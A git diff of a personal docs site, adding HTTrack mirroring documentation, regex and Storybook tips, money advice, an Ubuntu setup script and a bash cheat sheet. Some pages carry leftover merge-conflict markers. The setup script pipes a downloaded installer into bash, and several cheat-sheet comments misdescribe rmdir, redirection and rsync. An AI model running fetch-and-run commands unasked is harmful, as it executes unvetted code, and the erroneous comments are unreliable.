+ in the dirctory indicated by -O option (.httrackrc)
+ in the current directory (.httrackrc)
+ in the user's home directory (.httrackrc)
+ in /etc/httrack.conf (named httrack.conf to be "standard")
+
+
+ An example .httrackrc looks like:
+
+
+set sockets=8
+set index on
+retries=2
+allow *.gif
+deny ad.doubleclick.net/*
+
+
+ Each line is composed of an option name and a
+parameter.  The "set" token can be used, but is not mandatory (it is
+ignored, in fact).  The "=" is also optionnal, and is replaced by a
+space internally.  The "on" and "off" are the same as "1" and "0"
+respectively.  Therefore, the example .httrackrc above is equivalent to:
+
+
+sockets=8
+index=1
+retries=2
+allow=*.gif
+deny=ad.doubleclick.net/*
+
+
+ Because the "=" seems to (wrongly) imply a variable
+assignment (the option can be defined more than once to define more than
+one filter) the following .httrackrc:
+
+
+allow *.gif
+allow *.jpg
+
+
+ looks better for a human than:
+
+
+allow=*.gif
+allow=*.jpg
+
+
+ Here's a example run with the example .httrackrc file:
+
+
+$ httrack ghost
+$ cat hts-cache/doit.log
+-c8 -C1 -R2 +*.gif -ad.doubleclick.net/* ghost
+
+
+ The "-c8 -C1 -R2 +*.gif -ad.doubleclick.net/*" was
+added by the .httrackrc
+
+
+
+ Release Notes 
+
+ Some things change between releases.  Here are some
+recent changes in httrack that may affect some of these options:
+
+ Options S,D,U,B, and a,d,l,e are default behaviours of
+HTTrack.  they were the only options in old versions (1.0).  With the
+introduction of filters, their roles are now limited, because filters
+can override them.
+
+ Note for the -N option: "%h%p/%n%q.%t" will be now be
+used if possible.  In normal cases, when a file does not have any
+parameters (www.foo.com/bar.gif) the %q option does not add anything, so
+there are no differences in file names.  But when parameters are present
+(for example, www.foo.com/bar.cgi?FileCollection=133.gif), the
+additionnal query string (in this case, FileCollection=133.gif) will be
+"hashed" and added to the filename.  For example:
+
+'www.all.net/bar.cgi?FileCollection=133.gif'
+ will be named
+'/tmp/mysite/bar4F2E.gif'
+
+ The additionnal 4 letters/digits are VERY useful in
+cases where there are a substantial number of identical files:
+
+
+www.all.net/bar.cgi?FileCollection=133.gif
+www.all.net/bar.cgi?FileCollection=rose.gif
+www.all.net/bar.cgi?FileCollection=plant4.gif
+www.all.net/bar.cgi?FileCollection=silver.gif
+and so on...
+
+
+ In these cases, there is a small probability of a hash
+collision forlarge numbers of files.
+
+
+
+ Some More Examples 
+
+ Here are some examples of special purpose httrack
+command lines that might be useful for your situation.
+
+ This is a 'forensic' dump of a web site - intended to
+collect all URLs reachable from the initial point and at that particular
+site.  It is intended to make no changes whatsoever to the image.  It
+also prints out an MD5 checksum of each file imaged so that the image
+can be verified later to detect and changes after imaging.  It uses 5
+retries to be more certain than normal of getting the files, never
+abandons its efforts, keeps original links, does not generate error
+files, ignores site restrictions for robots, logs as much as it can,
+stays in the principal domain, places debugging headers in the log file,
+
+
+httrack "www.website.com/" -O "/tmp/www.website.com" -R5H0Ko0s0zZd %H -V "md5 \$0" "+*.website.com/*" 
+
+
+ Here's an example of a site where I pulled a set of
+data related to some subject.  In this case, I only wanted the
+relevant subdirectory, all external links were to remain the same, a
+verbose listing of URLs was to be printed, and I wanted files near (n)
+and below (D) the original directory.  Five retries just makes sure I
+don't miss anything.
+
+
+httrack "http://www.somesite.com/~library/thing/thingmain.htm" -O /tmp/thing -R5s0zZvDn
+
+
+ This listing is, of course, rather verbose.  To reduce the noise,
+you might want to do something more like this:
+
+
+httrack "http://www.somesite.com/~library/thing/thingmain.htm" -O /tmp/thing -R5s0zvDn
+
+
+ A still quieter version - without any debugging
+information but with a list of files loaded looks like this:
+
+
+httrack "http://www.somesite.com/~library/thing/thingmain.htm" -O /tmp/thing -R5s0vDn
+
+
+ For the strong silent type, this might be still better:
+
+
+httrack "http://www.somesite.com/~library/thing/thingmain.htm" -O /tmp/thing -R5s0qDn
+
+
+
+
+General questions:
+
+Q:  The install is not working on NT without administrator rights! 
+
+ A: That's right.  You can, however, install WinHTTrack
+on your own machine, and then copy your WinHTTrack folder from
+your Program Files folder to another machine, in a temporary
+directory (e.g.  C:\temp\)
+
+Q:  Where can I find French/other languages documentation? 
+
+ A: Windows interface is available on several
+languages, but not yet the documentation!
+
+Q:  Is HTTrack working on NT/2000? 
+
+ A: Yes, it should
+
+Q:  What's the difference between HTTrack and WinHTTrack? 
+
+ A: WinHTTrack is the Windows release of HTTrack (with
+a graphic shell)
+
+Q: Is HTTrack Mac compatible? 
+
+ A: No, because of a lack of time.  But sources are
+available
+
+Q:  Can HTTrack be compiled on all Un*x? 
+
+ A: It should.  The Makefile may be modified in
+some cases, however
+
+Q: I use HTTrack for professional purpose.  What
+about restrictions/license fee? 
+
+ A: There is no restrictions using HTTrack for
+professional purpose, except if you want to sell a product including
+HTTrack components (parts of the source, or any other component).  See
+the license.txt file for more informations
+
+Q: Is a DLL/library version available? 
+
+ A: Not yet.  But, again, sources are available (see
+license.txt for distribution infos)
+
+Q: Is there a X11/KDE shell available for Linux and
+Un*x? 
+
+ A: No.  Unfortunately, we do not have enough time for
+that - if you want to help us, please write one!
+
+ Troubleshooting:
+
+Q: Only the first page is caught.  What's wrong?
+ A: First, check the hts-err.txt error log file - this can
+give you precious informations. 
+
+ The problem can be a website that redirects you to
+another site (for example, www.all.net to public.www.all.net) : in
+this case, use filters to accept this site
+
+ This can be, also, a problem in the HTTrack options
+(link depth too low, for example)
+
+Q: With WinHTTrack, sometimes the minimize in system
+tray causes a crash! 
+
+ A: This bug sometimes appears in the shell on some
+systems.  If you encounter this problem, avoid minimizing the window!
+
+Q: Files are created with strange names, like
+'-1.html'!
+
+ A: Check the build options (you may have selected
+user-defined structure with wrong parameters!)
+
+Q: When capturing real audio links (.ra), I only get
+a shortcut!
+
+ A: Yes.  The audio/video realtime streaming capture is
+not yet supported
+
+Q:  Using user:password@address is not working!
+
+ A: Again, first check the hts-err.txt error log
+file - this can give you precious informations
+
+ The site may have a different authentication scheme
+(form based authentication, for example)
+
+Q: When I use HTTrack, nothing is mirrored (no
+files) What's happening? 
+
+ A: First, be sure that the URL typed is correct. 
+Then, check if you need to use a proxy server (see proxy options in
+WinHTTrack or the -P proxy:port option in the command line
+program).  The site you want to mirror may only accept certain browsers. 
+You can change your "browser identity" with the Browser ID
+option in the OPTION box.  Finally, you can have a look at the
+hts-err.txt (and hts-log.txt) file to see what happened. 
+
+Q: There are missing files! What's happening? 
+
+ A: You may want to capture files that are in a
+different folder, or in another web site.  In this case, HTTrack does not
+capture them automatically, you have to ask it to do.  For that, use the
+filters. 
+
+ Example: You are downloading
+http://www.all.net/foo/ and can not get .jpg images located in
+http://www.all.net/bar/ (for example, http://www.all.net/bar/blue.jpg)
+
+ Then, add the filter rule +www.all.net/bar/*.jpg to
+accept all .jpg files from this location
+
+ You can, also, accept all files from the /bar folder
+with +www.all.net/bar/*, or only html files with
++www.all.net/bar/*.html and so on.. 
+ 
+Q: I'm downloading too many files! What can I do?
+
+
+ A: This is often the case when you use too large
+filters, for example +*.html, which asks the engine to catch all
+.html pages (even ones on other sites!).  In this case, try to use more
+specific filters, like +www.all.net/specificfolder/*.html
+
+ If you still have too many files, use filters to avoid
+somes files.  For example, if you have too many files from www.all.net/big/,
+use -www.all.net/big/* to avoid all files from this folder. 
+ 
+Q: File types are sometimes changed! Why? 
+
+ A: By default, HTTrack tries to know the type of
+remote files.  This is useful when links like
+http://www.all.net/foo.cgi?id=1 can be either HTML pages, images or
+anything else.  Locally, foo.cgi will not be recognized as an html page,
+or as an image, by your browser.  HTTrack has to rename the file as
+foo.html or foo.gif so that it can be viewed. 
+
+ Sometimes, however, some data files are seen by the
+remote server as html files, or images : in this case HTTrack is being
+fooled..  and rename the file.  You can avoid this by disabling the type
+checking in the option panel. 
+
+Q: I can not access to several pages (access
+forbidden, or redirect to another location), but I can with my browser,
+what's going on?
+
+ A: You may need cookies! Cookies are specific datas
+(for example, your username or password) that are sent to your browser
+once you have logged in certain sites so that you only have to log-in
+once.  For example, after having entered your username in a website, you
+can view pages and articles, and the next time you will go to this site,
+you will not have to re-enter your username/password. 
+
+ To "merge" your personnal cookies to an HTTrack
+project, just copy the cookies.txt file from your Netscape folder (or
+the cookies located into the Temporary Internet Files folder for IE)
+into your project folder (or even the HTTrack folder)
+
+Q: Some pages can't be seen, or are displayed
+with errors! 
+
+ A: Some pages may include javascript or java files
+that are not recognized.  For example, generated filenames.  There may
+be transfer problems, too (broken pipe, etc.).  But most mirrors do
+work.  We still are working to improve the mirror quality of HTTrack. 
+
+Q: Some Java applets do not work properly! 
+
+ A: Java applets may not work in some cases, for
+example if HTTrack failed to detect all included classes or files called
+within the class file.  Sometimes, Java applets need to be online,
+because remote files are directly caught.  Finally, the site structure
+can be incompatible with the class (always try to keep the original site
+structure when you want to get Java classes)
+
+ If there is no way to make some classes work properly,
+you can exclude them with the filters.  They will be available, but only
+online. 
+ 
+Q: HTTrack is being idle for a long time without
+transfering.  What's happening? 
+
+ A: Maybe you try to reach some very slow sites.  Try a
+lower TimeOut value (see options, or -Txx option in the command
+line program).  Note that you will abandon the entire site (except if
+the option is unchecked) if a timeout happen You can, with the Shell
+version, skip some slow files, too. 
+
+Q: I want to update a site, but it's taking too much
+time! What's happening?
+
+ A: First, HTTrack always tries to minimize the
+download flow by interrogating the server about the file changes.  But,
+because HTTrack has to rescan all files from the begining to rebuild the
+local site structure, it can takes some time.  Besides, some servers are
+not very smart and always consider that they get newer files, forcing
+HTTrack to reload them, even if no changes have been made!
+
+Q: I am behind a firewall.  What can I do? 
+
+ A: You need to use a proxy, too.  Ask your
+administrator to know the proxy server's name/port.  Then, use the proxy
+field in HTTrack or use the -P proxy:port option in the command
+line program. 
+
+Q: HTTrack has crashed during a mirror, what's
+happening? 
+
+ A: We are trying to avoid bugs and problems so that
+the program can be as reliable as possible.  But we can not be
+infallible.  If you occurs a bug, please check if you have the latest
+release of HTTrack, and send us an email with a detailed description of
+your problem (OS type, addresses concerned, crash description, and
+everything you deem to be necessary).  This may help the other users
+too. 
+
+Q: I want to update a mirrored project, but HTTrack
+is retransfering all pages.  What's going on? 
+
+ A: First, HTTrack always rescan all local pages to
+reconstitute the website structure, and it can take some time.  Then, it
+asks the server if the files that are stored locally are up-to-date.  On
+most sites, pages are not updated frequently, and the update process is
+fast.  But some sites have dynamically-generated pages that are
+considered as "newer" than the local ones..  even if there are
+identical! Unfortunately, there is no possibility to avoid this problem,
+which is strongly linked with the server abilities. 
+
+  Questions concerning a mirror: 
+
+ Q: I want to mirror a Web site,
+but there are some files outside the domain, too.  How to retrieve them?
+
+
+ A: If you just want to retrieve files that can be
+reached through links, just activate the 'get file near links' option. 
+But if you want to retrieve html pages too, you can both use wildcards
+or explicit addresses ; e.g.  add www.all.net/* to accept all
+files and pages from www.all.net. 
+
+Q: I have forgotten some URLs of files during a long
+mirror..  Should I redo all? 
+
+ A: No, if you have kept the 'cache' files (in
+hts-cache), cached files will not be retransfered. 
+
+Q: I just want to retrieve all ZIP files or other
+files in a web site/in a page.  How do I do it? 
+
+ A: You can use different methods.  You can use the
+'get files near a link' option if files are in a foreign domain.  You
+can use, too, a filter adress: adding +*.zip in the URL list (or
+in the filter list) will accept all ZIP files, even if these files are
+outside the address. 
+
+ Example : httrack www.all.net/someaddress.html
++*.zip will allow you to retrieve all zip files that are linked on
+the site. 
+
+Q: There are ZIP files in a page, but I don't want
+to transfer them.  How do I do it? 
+
+ A: Just filter them: add -*.zip in the filter
+list. 
+
+Q: I don't want to load gif files..  but what may
+happen if I watch the page? 
+
+ A: If you have filtered gif files (-*.gif),
+links to gif files will be rebuild so that your browser can find them on
+the server. 
+
+Q: I get all types of files on a web site, but I
+didn't select them on filters! 
+
+ A: By default, HTTrack retrieves all types of files on
+authorized links.  To avoid that, define filters like
+
+-* +<website>/*.html +<website>/*.htm
++<website>/ +*.<type wanted>
+
+ Example: httrack www.all.net/index.html -*
++www.all.net/*.htm* +www.all.net/*.gif +www.all.net/*.jpg
+
+Q: When I use filters, I get too many files! 
+
+ A: You are using too large a filter, for example
+*.html will get ALL html files identified.  If you want to get
+all files on an address, use www.<address>/*.html.  There
+are lots of possibilities using filters. 
+
+ Example:httrack www.all.net +*.www.all.net/*.htm*
+
+Q: When I use filters, I can't access another
+domain, but I have filtered it! 
+
+ A: You may have done a mistake declaring filters, for
+example +www.all.net/* -*all*  will not work, because
+-*all* has an upper priority (because it has been declared after
++www.all.net)
+
+Q: Must I add a  '+' or '-' in the filter list
+when I want to use filters? 
+
+ A: YES.  '+' is for accepting links and '-' to avoid
+them.  If you forget it, HTTrack will consider that you want to accept a
+filter if there is a wild card in the syntax - e.g.  +<filter> if
+identical to <filter> if <filter> contains a wild card (*)
+(else it will be considered as a normal link to mirror)
+
+Q: I want to find file(s) in a web-site.  How do I do it?
+
+
+ A: You can use the filters: forbid all files (add a
+-* in the filter list) and accept only html files and the file(s)
+you want to retrieve (BUT do not forget to add
++<website>*.html in the filter list, or pages will not be
+scanned! Add the name of files you want with a */ before ; i.e. 
+if you want to retrieve file.zip, add */file.zip)
+
+ Example:httrack www.all.net +www.all.net/*.htm*
++thefileiwant.zip
+
+Q: I want to download ftp files/ftp site.  How to
+do? 
+
+ A: First, HTTrack is not the best tool to download
+many ftp files.  Its ftp engine is basic (even if reget are possible)
+and if your purpose is to download a complete site, use a specific
+client. 
+
+ You can download ftp files just by typing the URL,
+such as ftp://ftp.www.all.net/pub/files/file010.zip and list ftp
+directories like ftp://ftp.www.all.net/pub/files/ . 
+
+ Note: For the filters, use something like
++ftp://ftp.www.all.net/*
+
+Q: How can I retrieve .asp or .cgi sources instead
+of .html result? 
+
+ A: You can't! For security reasons, web servers do not
+allow that. 
+
+Q: How can I remove these annoying <!--
+Mirrored from...  --> from html files? 
+
+ A: Use the footer option (-&F, or see the WinHTTrack
+options)
+
+Q: Do I have to select between ascii/binary transfer
+mode? 
+
+ A: No, http files are always transfered as binary
+files.  Ftp files, too (even if ascii mode could be selected)
+
+Q: Can HTTrack perform form-based authentication?
+
+
+ A: Yes.  See the URL capture abilities (--catchurl for
+command-line release, or in the WinHTTrack interface)
+
+Q: Can I redirect downloads to tar/zip archive? 
+
+ A: Yes.  See the shell system command option (-V
+option for command-line release)
+
+Q: Can I use username/password authentication on a
+site? 
+
+ A: Yes.  Use user:password@your_url (example:
+http://foo:bar@www.all.net/private/mybox.html)
+
+Q: Can I use username/password authentication for a
+proxy? 
+
+ A: Yes.  Use user:password@your_proxy_name as your
+proxy name (example: smith:foo@proxy.mycorp.com)
+
+Q: Can HTTrack generates HP-UX or ISO9660 compatible
+files? 
+
+ A: Yes.  See the build options (-N, or see the
+WinHTTrack options)
+
+Q: If there any SOCKS support? 
+
+ A: Not yet!
+
+Q: What's this hts-cache directory? Can I remove it?
+
+
+ A: NO if you want to update the site, because this
+directory is used by HTTrack for this purpose.  If you remove it,
+options and URLs will not be available for updating the site
+
+Q: Can I start a mirror from my bookmarks? 
+
+ A: Yes.  Drag&Drop your bookmark.html file to the
+WinHTTrack window (or use file://filename for command-line release) and
+select bookmark mirroring (mirror all links in pages, -Y) or bookmark
+testing (--testlinks)
+
+Q: I am getting a "pipe broken" error and the mirror
+stops, what should I do? 
+
+ A: Chances are this is a result of downloading too
+many pages at a time.  Remote servers may not allow or be able to handle
+too many sessions, or your system may be unable to provide the necessary
+resources.  Try redusing this number - for example using the -c2 options
+for only 2 simultaneous sesions.
+```
\ No newline at end of file
diff --git a/src/pages/docs/tips/index.md b/src/pages/docs/tips/index.md
index d072df6ba3..39c71ed2dd 100644
--- a/src/pages/docs/tips/index.md
+++ b/src/pages/docs/tips/index.md
@@ -10,4 +10,8 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ## Lorem ipsum
diff --git a/src/pages/docs/tips/regex-tips.md b/src/pages/docs/tips/regex-tips.md
index d61d28f601..75a01394c4 100644
--- a/src/pages/docs/tips/regex-tips.md
+++ b/src/pages/docs/tips/regex-tips.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 Regular expressions make light work of **single-character delimiters**, which is why it's so easy to remove markup from a string:
 
 ```
@@ -69,6 +73,10 @@ str = str.replace(/(<\!\[CDATA\[([^\]]|(\]+[^>]))*\]+>)/gm, '');
 The `replace` function can also be **passed a callback** as its second parameter, and this is invaluable in cases where the replacement you want can't be described in a simple expression. For example:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 isocode = isocode.replace(/^([a-z]+)(\-[a-z]+)?$/i, function (match, lang, country) {
     return lang.toLowerCase() + (country ? country.toUpperCase() : '');
 });
@@ -102,6 +110,10 @@ str.replace(/(\/\*([^*]|(\*+[^*\/]))*\*+\/)/gm,
 Since nothing is returned, the original string remains unchanged. Although if we wanted to extract _and_ remove the comments, we could simply return and assign an empty-string:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let comments = [];
 str = str.replace(/(\/\*([^*]|(\*+[^*\/]))*\*+\/)/gm, function (match) {
     comments.push(match);
diff --git a/src/pages/docs/tips/storybook/index.md b/src/pages/docs/tips/storybook/index.md
new file mode 100644
index 0000000000..dc7fda3bab
--- /dev/null
+++ b/src/pages/docs/tips/storybook/index.md
@@ -0,0 +1,71 @@
+---
+title: Storybook
+template: docs
+excerpt: "Storybook is a great tool for developing and demoing components. "
+---
+# Storybook
+
+[Storybook](https://storybook.js.org/) is a great tool for developing and demoing components. By default, it is based on Webpack and Webpack dev server.
+
+The [@web/dev-server-storybook](../../docs/dev-server/plugins/storybook.md) plugin uses an [opinionated build](https://github.com/modernweb-dev/storybook-prebuilt) of Storybook, making it possible to use it with Web Dev Server for es modules and buildless workflows.
+
+## Setup
+
+Install the package:
+
+```
+npm i --save-dev @web/dev-server-storybook
+```
+
+Add the plugin and set the project type. See below for supported project types.
+
+```js
+//
+import { storybookPlugin } from '@web/dev-server-storybook';
+
+export default {
+  // type can be 'web-components' or 'preact'
+  plugins: [storybookPlugin({ type: 'web-components' })],
+};
+```
+
+Add a `.storybook/main.js` file:
+
+```js
+//
+module.exports = {
+  stories: ['../stories/**/*.stories.@(js|jsx|ts|tsx)'],
+};
+```
+
+Add a story: `stories/MyButton.stories.js`:
+
+```js
+//
+export default {
+  title: 'Example/Button',
+  argTypes: {
+    backgroundColor: { control: 'color' },
+  },
+};
+
+const Button = ({ backgroundColor = 'white', text }) => {
+  return `
+    <button type="button" style="background-color: ${backgroundColor}">
+      ${text}
+    </button>
+  `;
+};
+
+export const ButtonA = Button.bind({});
+ButtonA.args = {
+  text: 'Button A',
+};
+
+export const ButtonB = Button.bind({});
+ButtonB.args = {
+  text: 'Button B',
+};
+```
+
+See the [plugin documentation](../../docs/dev-server/plugins/storybook.md) for more features and all configuration options.
diff --git a/src/pages/docs/tips/top-10-money-tips/index.md b/src/pages/docs/tips/top-10-money-tips/index.md
new file mode 100644
index 0000000000..7f36b60e44
--- /dev/null
+++ b/src/pages/docs/tips/top-10-money-tips/index.md
@@ -0,0 +1,50 @@
+---
+title: Top 10 Money Tips
+template: docs
+excerpt: Despite taking math for a majority of my life, I never learned much
+  about financial planning. While I could tell you the base 10 logarithm of
+  1,000, I was not  taught how to set up a good budget.
+---
+<!--StartFragment-->
+
+### 1. Earn a decent living.
+
+Research has shown that earning more than you need to live comfortably (e.g., paying for rent/mortgage, transportation, groceries, and the occasional vacation) actually doesn't increase your happiness. But earning less than you need to live comfortably will make you stressed and even unhappy.
+
+### 2. Create a budget to ensure that you're spending less than you make.
+
+Go over your monthly spending to find savings. Ask your wireless and cable providers to "audit" your bills. Contact insurers about discounts and raising your deductibles. Cancel subscription services you're not really using. Often, just tracking your spending can save hundreds of dollars.
+
+### 3. Plan to eliminate high-rate debts (and chip away at lower-rate, long-term ones).
+
+The fastest, cheapest way out of debt is to put all your extra cash toward paying off those with the highest interest rates, while making minimum payments on the rest. Refinancing your mortgage, student loans, and car loans—and transferring credit card balances to lower-rate cards—can speed the process.
+
+### 4. Start an emergency fund.
+
+Nothing derails your finances quicker than an emergency. Two-income households should aim to put away three to six months of living expenses; one-income households need to double that. Consider putting this money into a savings or money market account, where you can access it, without penalty, if and when you need it.
+
+### 5. Start—or continue to—invest for retirement.
+
+While you're starting your emergency fund, you'll also want to take advantage of any matching dollars your employer is offering you for contributing to a workplace retirement plan. Matching dollars are "free" money and you don't want to leave them on the table.
+
+### 6. Assess your investment approach at least once a year.
+
+Consider investing any money you're not planning on using for at least three years in a diversified portfolio. Choose investments based on your age and risk tolerance, and rebalance twice a year. Or, take the easier road. You could invest your money in a target-date retirement fund in line with your approximate retirement year, choose a target allocation fund based on the level of risk and return that you're comfortable with, or go with a managed account and let an advisor help you make decisions.
+
+### 7. Make investing a continuing priority.
+
+Timing the market rarely works. What does is investing regularly, first in tax-advantaged accounts (retirement accounts, 529 college savings accounts, health savings accounts) and then in discretionary ones. Then every year, assess your progress. 
+
+### 8. Have a family conversation to prevent surprises.
+
+Ask your parents how their long-term planning is going. Do they have plans to insure a lifetime income? Have they put an estate plan in place (and do they have instructions for how you'll need to execute it)? What are their wishes should they need long-term health care—and will they need help from you along the way? Simultaneously, share your plans for meeting your own financial goals. They may step in with advice, financial help, or both.
+
+### 9. Protect what you've built for yourself with the right insurance and a basic estate plan.
+
+You need life insurance when others in your life depend on your income for support. No dependents? Long-term disability insurance is an important protection for being able to take care of yourself (purchasing a group plan through your employer is typically best). A basic estate plan consists of a will (where you'll name guardians for minor children), a living will (which stipulates whether or not you'd want life support), and durable powers of attorney for health and finance (which allow other people to make decisions on your behalf).
+
+### 10. Schedule a repeat performance next year.
+
+Just as you go to the doctor every year for a physical, you should sit down annually and go over the items on this list. It's a good time to think about what you want your money to do for you this year, in five years, and in 10 years. You'll be surprised at how good tracking your progress will make you feel!
+
+<!--EndFragment-->
diff --git a/src/pages/docs/tips/ubuntu-setup.md b/src/pages/docs/tips/ubuntu-setup.md
new file mode 100644
index 0000000000..7135414012
--- /dev/null
+++ b/src/pages/docs/tips/ubuntu-setup.md
@@ -0,0 +1,50 @@
+---
+title: ubuntu setup
+weight: 1
+excerpt: ubuntu setup
+seo:
+    title: 'ubuntu setup'
+    description: 'ubuntu setup'
+    robots: []
+    extra: []
+    type: stackbit_page_meta
+template: docs
+---
+
+# Fresh Ubuntu Setup:
+
+```console
+
+sudo apt update -y
+
+
+sudo apt upgrade -y
+
+git config --global user.name  bryan
+
+git config --global user.email bryan.guner@gmail.com
+
+sudo apt update
+
+sudo apt install build-essential
+
+curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.2/install.sh | bash
+. ./.bashrc
+
+nvm install --lts
+
+sudo apt install unzip
+
+npm install -g mocha
+
+
+
+sudo apt update
+
+sudo apt upgrade
+
+sudo apt install python3
+
+
+
+```
diff --git a/src/pages/docs/tips/web-accessibility/index.md b/src/pages/docs/tips/web-accessibility/index.md
new file mode 100644
index 0000000000..7442be7a56
--- /dev/null
+++ b/src/pages/docs/tips/web-accessibility/index.md
@@ -0,0 +1,68 @@
+---
+title: web-accessibility
+template: docs
+excerpt: "### Plan Heading Structure Early"
+---
+<a href="http://webaim.org/resources/designers/">
+<img src="http://webaim.org/resources/designers/media/designers.svg" alt="Web Accessibility for Designers infographic with link to text version at WebAIM.org">
+</a>
+
+
+
+## Text Version
+
+### Plan Heading Structure Early
+
+Ensure all content and design fits into a [logical heading structure](https://webaim.org/techniques/semanticstructure/).
+
+### Ensure Logical Reading Order
+
+The [reading order for screen reader users](https://webaim.org/techniques/screenreader/) should align with the visual order.
+
+### Provide Good Contrast
+
+Be especially careful with shades of orange, yellow, and light gray. Check your contrast levels with our [color contrast checker](https://webaim.org/resources/contrastchecker/).
+
+### Use True Text Instead of Images of Text
+
+[True text](https://webaim.org/techniques/images/text_graphic) enlarges better, loads faster, and is easier to translate and customize.
+
+### Use Adequate Font Size
+
+Small text is difficult for all users to see. Ensure text is optimally readable.
+
+### Remember Line Length
+
+Don’t make lines too long or too short.
+
+### Make Sure Links are Recognizable
+
+Distinguish [links](https://webaim.org/techniques/hypertext/) from body text using more than just color (e.g., underline).
+
+### Design Keyboard Focus Indicators
+
+When navigating with the keyboard, the focused item must be visually distinctive.
+
+### Design a "Skip to Main Content" Link
+
+A keyboard accessible [link for users to skip navigation](https://webaim.org/techniques/skipnav/) should be at the top of the page.
+
+### Ensure Link Text Makes Sense on Its Own
+
+Avoid "Click Here" or other ambiguous [link text](https://webaim.org/techniques/hypertext/) such as "More" or "Continue".
+
+### Design Usable Widgets and Controls
+
+Dialogs, tooltips, menus, carousels, etc. must be easy to use and accessible.
+
+### Use Animation, Video, and Audio Carefully
+
+Provide play/pause buttons. Avoid distracting movement.
+
+### Don’t Convey Content Using Only Color
+
+Users may override or may not be able to see differences between colors.
+
+### Design Accessible Form Controls
+
+Ensure [form controls](https://webaim.org/techniques/forms/) have descriptive labels, instructions, and error messages.
diff --git a/src/pages/docs/tools/dev-utilities.md b/src/pages/docs/tools/dev-utilities.md
index 6a0ada1a97..414f871e70 100644
--- a/src/pages/docs/tools/dev-utilities.md
+++ b/src/pages/docs/tools/dev-utilities.md
@@ -73,6 +73,7 @@ template: docs
 <iframe height="1000px" width="1200px" scrolling="yes" src="https://ternary42.netlify.app/"     loading="lazy"  allowfullscreen="true"></iframe>
 
 <br>
+<<<<<<< HEAD
 <hr>
 <br>
 <br>
@@ -82,3 +83,10 @@ template: docs
   Dashed Border Generator</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
   on <a href="https://codepen.io">CodePen</a>.
 </iframe>
+=======
+
+<br>
+<br>
+<br>
+<br>
+>>>>>>> master
diff --git a/src/pages/docs/tools/embeds.md b/src/pages/docs/tools/embeds.md
new file mode 100644
index 0000000000..3e2fb55bbd
--- /dev/null
+++ b/src/pages/docs/tools/embeds.md
@@ -0,0 +1,27 @@
+---
+title: embeds
+weight: 1
+excerpt: Tools For Markdown & Html
+seo:
+    title: 'embeds'
+    description: 'embeds'
+    robots: []
+    extra: []
+    type: stackbit_page_meta
+template: docs
+---
+
+
+
+
+
+
+<br>
+<br>
+
+<iframe height="1000px" width="1200px" scrolling="yes" title="Dashed Border Generator" src="https://codepen.io/bgoonz/embed/preview/zYwLVmb?default-tab=result&editable=true&theme-id=dark"    loading="lazy"  allowfullscreen="true">
+  See the Pen <a href="https://codepen.io/bgoonz/pen/zYwLVmb">
+  Dashed Border Generator</a> by Bryan C Guner (<a href="https://codepen.io/bgoonz">@bgoonz</a>)
+  on <a href="https://codepen.io">CodePen</a>.
+</iframe>
+<br>
diff --git a/src/pages/docs/tutorials/bash-cheat-sheet.md b/src/pages/docs/tutorials/bash-cheat-sheet.md
new file mode 100644
index 0000000000..0377104617
--- /dev/null
+++ b/src/pages/docs/tutorials/bash-cheat-sheet.md
@@ -0,0 +1,695 @@
+---
+title: Bash Cheat Sheet
+template: docs
+excerpt: A cheat sheet for bash commands.
+---
+# Bash Cheat Sheet
+
+ A cheat sheet for bash commands.
+
+## Command History
+
+```bash
+!!            # Run the last command
+
+touch foo.sh
+chmod +x !$   # !$ is the last argument of the last command i.e. foo.sh
+```
+
+## Navigating Directories
+
+```bash
+pwd                       # Print current directory path
+ls                        # List directories
+ls -a|--all               # List directories including hidden
+ls -l                     # List directories in long form
+ls -l -h|--human-readable # List directories in long form with human readable sizes
+ls -t                     # List directories by modification time, newest first
+stat foo.txt              # List size, created and modified timestamps for a file
+stat foo                  # List size, created and modified timestamps for a directory
+tree                      # List directory and file tree
+tree -a                   # List directory and file tree including hidden
+tree -d                   # List directory tree
+cd foo                    # Go to foo sub-directory
+cd                        # Go to home directory
+cd ~                      # Go to home directory
+cd -                      # Go to last directory
+pushd foo                 # Go to foo sub-directory and add previous directory to stack
+popd                      # Go back to directory in stack saved by `pushd`
+```
+
+## Creating Directories
+
+```bash
+mkdir foo                        # Create a directory
+mkdir foo bar                    # Create multiple directories
+mkdir -p|--parents foo/bar       # Create nested directory
+mkdir -p|--parents {foo,bar}/baz # Create multiple nested directories
+
+mktemp -d|--directory            # Create a temporary directory
+```
+
+## Moving Directories
+
+```bash
+cp -R|--recursive foo bar                               # Copy directory
+mv foo bar                                              # Move directory
+
+rsync -z|--compress -v|--verbose /foo /bar              # Copy directory, overwrites destination
+rsync -a|--archive -z|--compress -v|--verbose /foo /bar # Copy directory, without overwriting destination
+rsync -avz /foo username@hostname:/bar                  # Copy local directory to remote directory
+rsync -avz username@hostname:/foo /bar                  # Copy remote directory to local directory
+```
+
+## Deleting Directories
+
+```bash
+rmdir foo                        # Delete non-empty directory
+rm -r|--recursive foo            # Delete directory including contents
+rm -r|--recursive -f|--force foo # Delete directory including contents, ignore nonexistent files and never prompt
+```
+
+## Creating Files
+
+```bash
+touch foo.txt          # Create file or update existing files modified timestamp
+touch foo.txt bar.txt  # Create multiple files
+touch {foo,bar}.txt    # Create multiple files
+touch test{1..3}       # Create test1, test2 and test3 files
+touch test{a..c}       # Create testa, testb and testc files
+
+mktemp                 # Create a temporary file
+```
+
+## Standard Output, Standard Error and Standard Input
+
+```bash
+echo "foo" > bar.txt       # Overwrite file with content
+echo "foo" >> bar.txt      # Append to file with content
+
+ls exists 1> stdout.txt    # Redirect the standard output to a file
+ls noexist 2> stderror.txt # Redirect the standard error output to a file
+ls 2>&1 out.txt            # Redirect standard output and error to a file
+ls > /dev/null             # Discard standard output and error
+
+read foo                   # Read from standard input and write to the variable foo
+```
+
+## Moving Files
+
+```bash
+cp foo.txt bar.txt                                # Copy file
+mv foo.txt bar.txt                                # Move file
+
+rsync -z|--compress -v|--verbose /foo.txt /bar    # Copy file quickly if not changed
+rsync z|--compress -v|--verbose /foo.txt /bar.txt # Copy and rename file quickly if not changed
+```
+
+## Deleting Files
+
